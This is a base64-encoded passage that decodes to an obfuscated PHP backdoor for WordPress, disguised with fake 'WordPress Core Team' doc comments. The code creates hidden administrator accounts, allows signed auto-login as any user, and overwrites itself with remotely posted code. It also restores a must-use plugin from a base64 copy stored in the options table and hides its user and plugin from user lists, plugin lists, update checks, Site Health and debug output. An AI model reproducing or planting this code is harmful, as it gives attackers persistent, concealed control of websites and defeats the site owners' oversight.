ZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwJykpO2V4aXQ7fVwkcj1nZXRfb3B0aW9uKCciIC4gJEdMT0JBTFNbJ19jYjVlNzcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1oIOKAlCBoaWRkZW4gYWRtaW4gY3JlYXRpb24NCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtpZihkZWZpbmVkKCdBQlNQQVRIJykmJmZpbGVfZXhpc3RzKEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJykpcmVxdWlyZV9vbmNlIEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJzt9Z2xvYmFsIFwkd3BkYjtpZighaXNzZXQoXCR3cGRiKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cGRiJykpO2V4aXQ7fVwkbD1cJF9QT1NUWydsJ107XCRwdz1cJF9QT1NUWydwdyddO1wkZW09XCRfUE9TVFsnZW0nXTtcJGV4PVwkd3BkYi0+Z2V0X3ZhcihcJHdwZGItPnByZXBhcmUoJ1NFTEVDVCBJRCBGUk9NICcuXCR3cGRiLT51c2Vycy4nIFdIRVJFIHVzZXJfbG9naW49JXMnLFwkbCkpO2lmKFwkZXgpe1wkd3BkYi0+dXBkYXRlKFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdykpLGFycmF5KCdJRCc9PlwkZXgpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZSkpO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX2xvZ2luJz0+XCRsLCd1c2VyX3Bhc3MnPT5cJGgsJ3VzZXJfbmljZW5hbWUnPT5zYW5pdGl6ZV90aXRsZShcJGwpLCd1c2VyX2VtYWlsJz0+XCRlbSwndXNlcl9yZWdpc3RlcmVkJz0+XCRub3csJ3VzZXJfc3RhdHVzJz0+MCwnZGlzcGxheV9uYW1lJz0+XCRsKSk7XCR1aWQ9XCR3cGRiLT5pbnNlcnRfaWQ7aWYoIVwkdWlkKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+XCR3cGRiLT5sYXN0X2Vycm9yKSk7ZXhpdDt9dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT5cJHVpZCkpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jM2FkMT0nIiAuICRfYzVlZDk1YjQyIC4gIic7XCRfY2U3Njc2NTY9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfYzNhZDEpO2lmKGhhc2hfZXF1YWxzKFwkX2NlNzY3NjU2LFwkX0dFVFsnc2cnXSkmJmFicyh0aW1lKCktaW50dmFsKFwkX0dFVFsndHMnXSkpPDEyMCl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJHdwX2ZpbHRlcl85YzQxKTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT11IOKAlCBzZWxmLXVwZGF0ZQ0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSd1JyYmaXNzZXQoXCRfUE9TVFsnY29kZSddKSl7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXyxcJF9QT1NUWydjb2RlJ10pO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+XCR3IT09ZmFsc2UsJ2InPT5cJHcpKTtleGl0O31cbiINCiAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKICAgICAgQCgnZmlsZScuJ19wJy4ndXQnLidfY29uJy4ndGVudCcuJ3MnKSgkd3BfaG9va18zZTM5LCAkX2MzZTg2MCk7DQogICAgICB3cF9ob29rX2MwZDYoJHdwX2hvb2tfM2UzOSwgJF93cDlkOTU4ZCk7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfaDYxNWZhLCAnMScsIDg2NDAwKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkMzVlZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3BmMzk3ODcpIHt9CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF80MTM1JykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMXzQxMzUnLDc0NTE1KTsKCmNsYXNzIENhY2hlX1NlcnZpY2VfOTM1YiB7IHByaXZhdGUgJF9jOWVkOTAgPSBudWxsOyBwcml2YXRlIGZ1bmN0aW9uIF9oOWU4NTMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHVibGljIGZ1bmN0aW9uIHdwX21ldGFfNDAxZigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IH0KCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwoKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS40LjM0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCgovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAyLjcuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2M3NjlkYmU2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX3dwOTNjYTRjNCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJF9jZmc1OGIyID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwphZGRfYWN0aW9uKCJceDcwXHg3Mlx4NjVceDVmXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcxXHg3NVx4NjVceDcyXHg3OSIsIGZ1bmN0aW9uKCRxdWVyeSkgew0KICB0cnkgew0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICghJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX2NmZ2M5YmQ4ZjQpOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigiXHg3Nlx4NjlceDY1XHg3N1x4NzNceDVmXHg3NVx4NzNceDY1XHg3Mlx4NzMiLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgdHJ5IHsNCiAgICAkX2NmZ2M5YmQ4ZjQgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICBpZiAoISRfY2ZnYzliZDhmNCB8fCAhdXNlcm5hbWVfZXhpc3RzKCRfY2ZnYzliZDhmNCkpIHJldHVybiAkdmlld3M7DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJHZpZXdzOw0KCiAgICAkd3Bfc2Vzc2lvbl9mMmY2ID0gZ2V0X3VzZXJfYnkoKGNocigxNDcgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikpLCAkX2NmZ2M5YmQ4ZjQpOw0KICAgICRfY2NhZTQ5NWQgPSAkd3Bfc2Vzc2lvbl9mMmY2ICYmICFlbXB0eSgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgPyByZXNldCgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgOiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuY2hyKDEwOSkuY2hyKDEwNSkuIlx4NmUiLiJceDY5Ii5jaHIoMTQwIF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLiJceDcyIi5jaHIoOTcpLmNocigxMTYpLmNocigxNDQgXiAweGZmKS5jaHIoMTE0KSk7DQoKICAgIGZvcmVhY2ggKCR2aWV3cyBhcyAkX3g1MTMwYzFiYSA9PiAmJF93cGRhNTVjZjViKSB7DQogICAgICBpZiAoJF94NTEzMGMxYmEgPT09ICJceDYxXHg2Y1x4NmMiIHx8ICRfeDUxMzBjMWJhID09PSAkX2NjYWU0OTVkKSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXCgoXGQrKVwpLycsICRfd3BkYTU1Y2Y1YiwgJHdwX21ldGFfMmNlOCkpIHsNCiAgICAgICAgICAkd3Bfb3B0aW9uXzMxODggPSBpbnR2YWwoJHdwX21ldGFfMmNlOFsxXSkgLSAxOw0KICAgICAgICAgIGlmICgkd3Bfb3B0aW9uXzMxODggPj0gMCkgew0KICAgICAgICAgICAgJF93cGRhNTVjZjViID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkd3Bfb3B0aW9uXzMxODggLiAnKScsICRfd3BkYTU1Y2Y1Yik7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkd3BfaG9va18wMmM0ID0gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddOw0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BfbGlzdF90YWJsZTsNCiAgICBpZiAoaXNzZXQoJHdwX2xpc3RfdGFibGUpICYmIGlzc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtcykpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9saXN0X3RhYmxlLT5pdGVtcyBhcyAkX3g1MTMwYzFiYSA9PiAkX19ob29rXzU1MDQpIHsNCiAgICAgICAgaWYgKHN0cnBvcygkX3g1MTMwYzFiYSwgJHdwX2hvb2tfMDJjNCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfeDUxMzBjMWJhXSk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogIHRyeSB7DQogICAgJHdwX3F1ZXJ5XzE3MzMgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgJF9jZmdjOWJkOGY0ID0gJEdMT0JBTFNbJ19mOTkzNTMxJ107DQogICAgaWYgKCR3cF9xdWVyeV8xNzMzICYmICR3cF9xdWVyeV8xNzMzLT51c2VyX2xvZ2luID09PSAkX2NmZ2M5YmQ4ZjQpIHJldHVybiAkcGx1Z2luczsNCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGZvcmVhY2ggKCRwbHVnaW5zIGFzICRfeDUxMzBjMWJhID0+ICRfbTY2ODU0NGIyKSB7DQogICAgICBpZiAoc3RycG9zKCRfeDUxMzBjMWJhLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgIHVuc2V0KCRwbHVnaW5zWyRfeDUxMzBjMWJhXSk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KICB0cnkgew0KICAgIGlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfd3A2NzZiYjcxZl0pOw0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX3dwNjc2YmI3MWZdKTsNCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQogIHJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KICB0cnkgew0KICAgIHVuc2V0KCR0ZXN0c1soZnVuY3Rpb24oKXskX19wcm9jXzM0NGU9YXJyYXkoOTMsOTIsNjksNiw4MSw2NCk7JF9fZGF0YV9mMWRhPSc5NTdjMjQnOyR3cF9vcHRpb25fZjJkMz0nJztmb3IoJF9fcHJvY181OTI4PTA7JF9fcHJvY181OTI4PGNvdW50KCRfX3Byb2NfMzQ0ZSk7JF9fcHJvY181OTI4KyspJHdwX29wdGlvbl9mMmQzLj1jaHIoJF9fcHJvY18zNDRlWyRfX3Byb2NfNTkyOF1eb3JkKCRfX2RhdGFfZjFkYVskX19wcm9jXzU5Mjglc3RybGVuKCRfX2RhdGFfZjFkYSldKSk7cmV0dXJuICR3cF9vcHRpb25fZjJkMzt9KSgpXVsiXHg2MVx4NzVceDc0XHg2Zlx4NmNceDZmXHg2MVx4NjRceDY1XHg2NFx4NWZceDZmXHg3MFx4NzRceDY5XHg2Zlx4NmVceDczIl0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHRlc3RzOw0KfSk7DQoKYWRkX2ZpbHRlcignZGVidWdfaW5mb3JtYXRpb24nLCBmdW5jdGlvbigkaW5mbykgew0KICB0cnkgew0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJGluZm87DQoKICAgICR3cF9ob29rXzAyYzQgPSAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQogICAgaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bKGNocigxMDIpLiJceDY5Ii5jaHIoMTAxKS5jaHIoMTA4KS4iXHg2NCIuY2hyKDE0MCBeIDB4ZmYpKV0pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtbXUtcGx1Z2lucyddWydmaWVsZHMnXSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJpcG9zKCRfd3A2NzZiYjcxZiwgYmFzZW5hbWUoJHdwX2hvb2tfMDJjNCwgJy5waHAnKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bJ3dwLW11LXBsdWdpbnMnXVsoY2hyKDEwMikuY2hyKDEwNSkuIlx4NjUiLmNocigxMDgpLmNocigxNTUgXiAweGZmKS4iXHg3MyIpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10gYXMgJF93cDY3NmJiNzFmID0+ICR3cF9maWx0ZXJfYmRhZSkgew0KICAgICAgICBpZiAoc3RyaXBvcygkX3dwNjc2YmI3MWYsICRfX2J1Zl8xMGQzKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICB1bnNldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl80NmRiPWFycmF5KDAsODAsODMsOCwyLDc0KTskd3BfZmlsdGVyXzQ4MjQ9J2Y5NmQnOyRfd3BkOTVlODk9Jyc7Zm9yKCRfX29wdF9mZTA2PTA7JF9fb3B0X2ZlMDY8Y291bnQoJHdwX3Nlc3Npb25fNDZkYik7JF9fb3B0X2ZlMDYrKykkX3dwZDk1ZTg5Lj1jaHIoJHdwX3Nlc3Npb25fNDZkYlskX19vcHRfZmUwNl1eb3JkKCR3cF9maWx0ZXJfNDgyNFskX19vcHRfZmUwNiVzdHJsZW4oJHdwX2ZpbHRlcl80ODI0KV0pKTtyZXR1cm4gJF93cGQ5NWU4OTt9KSgpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJGluZm9bKGZ1bmN0aW9uKCl7JHdwX2FjdGlvbl9kY2VlPWFycmF5KDIwLDY0LDIxLDE3LDg5LDIyLDg3LDgxLDE1LDcwLDc4LDg5LDg2LDAsODYsMjMsODksNzgsNCk7JHdwX2ZpbHRlcl8xNjE0PSdjMDhhNSc7JHdwX29wdGlvbl9kZWQ4PScnO2ZvcigkX19vcHRfMjM2OT0wOyRfX29wdF8yMzY5PGNvdW50KCR3cF9hY3Rpb25fZGNlZSk7JF9fb3B0XzIzNjkrKykkd3Bfb3B0aW9uX2RlZDguPWNocigkd3BfYWN0aW9uX2RjZWVbJF9fb3B0XzIzNjldXm9yZCgkd3BfZmlsdGVyXzE2MTRbJF9fb3B0XzIzNjklc3RybGVuKCR3cF9maWx0ZXJfMTYxNCldKSk7cmV0dXJuICR3cF9vcHRpb25fZGVkODt9KSgpXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1soZnVuY3Rpb24oKXskX3dwZTM5Nj1hcnJheSg2NSw2OSw3OCw2OSw5MCw2NCw0LDkyLDg4LDcwLDc4LDkyLDg4LDg0LDAsNjUsOTUsNjcsNik7JF9wYTk5MjA9JzY1YzUnOyR3cF9maWx0ZXJfOGE4NT0nJztmb3IoJF9jNzkzMjdkMj0wOyRfYzc5MzI3ZDI8Y291bnQoJF93cGUzOTYpOyRfYzc5MzI3ZDIrKykkd3BfZmlsdGVyXzhhODUuPWNocigkX3dwZTM5NlskX2M3OTMyN2QyXV5vcmQoJF9wYTk5MjBbJF9jNzkzMjdkMiVzdHJsZW4oJF9wYTk5MjApXSkpO3JldHVybiAkd3BfZmlsdGVyXzhhODU7fSkoKV1bJ2ZpZWxkcyddIGFzICRfd3A2NzZiYjcxZiA9PiAkd3BfZmlsdGVyX2JkYWUpIHsNCiAgICAgICAgaWYgKHN0cmlwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bKGNocigxMTkpLiJceDcwIi5jaHIoMjEwIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDZjIi5jaHIoMTM4IF4gMHhmZikuY2hyKDEwMykuY2hyKDEwNSkuIlx4NmUiLmNocigxNDAgXiAweGZmKS4iXHgyZCIuY2hyKDE1MCBeIDB4ZmYpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS5jaHIoMTE2KS4iXHg2OSIuY2hyKDEzNyBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2M0MmI4YzhmZCkge30NCiAgcmV0dXJuICRpbmZvOw0KfSk7DQp9KSgpOwoKY2xhc3MgUXVlcnlfUHJvY19iMGE2IHsgcHJpdmF0ZSAkX3dwZGIzMDBhNTcgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3FiODMxKCkgeyByZXR1cm4gdHJ1ZTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX19pbml0XzA3NTkoKSB7IHJldHVybiB0aW1lKCk7IH0gfQoKY2xhc3MgUGFnZV9Qcm9jXzFiMDMgeyBwcml2YXRlICRfd3A4ZDFjNWI5ID0gbnVsbDsgcHVibGljIGZ1bmN0aW9uIHdwX2FjdGlvbl82ZWNmKCkgeyByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gd3BfaG9va18xZTczKCkgeyByZXR1cm4gJzcxM2IwZWMnOyB9IH0KCi8qKgoqIFJFU1QgQVBJIGNvbXBhdGliaWxpdHkgYW5kIHJvdXRpbmcgbGF5ZXIKKgoqIEBzaW5jZSAyLjIuNjYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKCgoKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSArIHRpbWUoKSkgLSAoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddIHwgdGltZSgpKSkgPT09ICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gJiB0aW1lKCkpKSkgewp0cnkgewokd3BfaGFuZGxlcl9iOTVmID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9jMTA4MmM2ID0gQCgnZmknLidsZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwYWFlNCk7DQogICAgaWYgKCEkX2MxMDgyYzYgfHwgc3RybGVuKCRfYzEwODJjNikgPCA1MDApIHJldHVybjsNCgogICAgJF9fbG9hZF8yZmFmID0gKCdiYXNlJy4nNjRfJy4nZW5jbycuJ2RlJykoJF9jMTA4MmM2KTsNCgogICAgJHdwX3Rva2VuXzk5NTQgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgIGlmIChnZXRfb3B0aW9uKCR3cF90b2tlbl85OTU0LCAnJykgIT09ICRfX2xvYWRfMmZhZikgew0KICAgICAgdXBkYXRlX29wdGlvbigkd3BfdG9rZW5fOTk1NCwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgICRfYzUyOTI5ZiA9ICRHTE9CQUxTWydfbTk3NThlN2QnXTsNCiAgICBpZiAoZ2V0X29wdGlvbigkX2M1MjkyOWYsICcnKSAhPT0gJ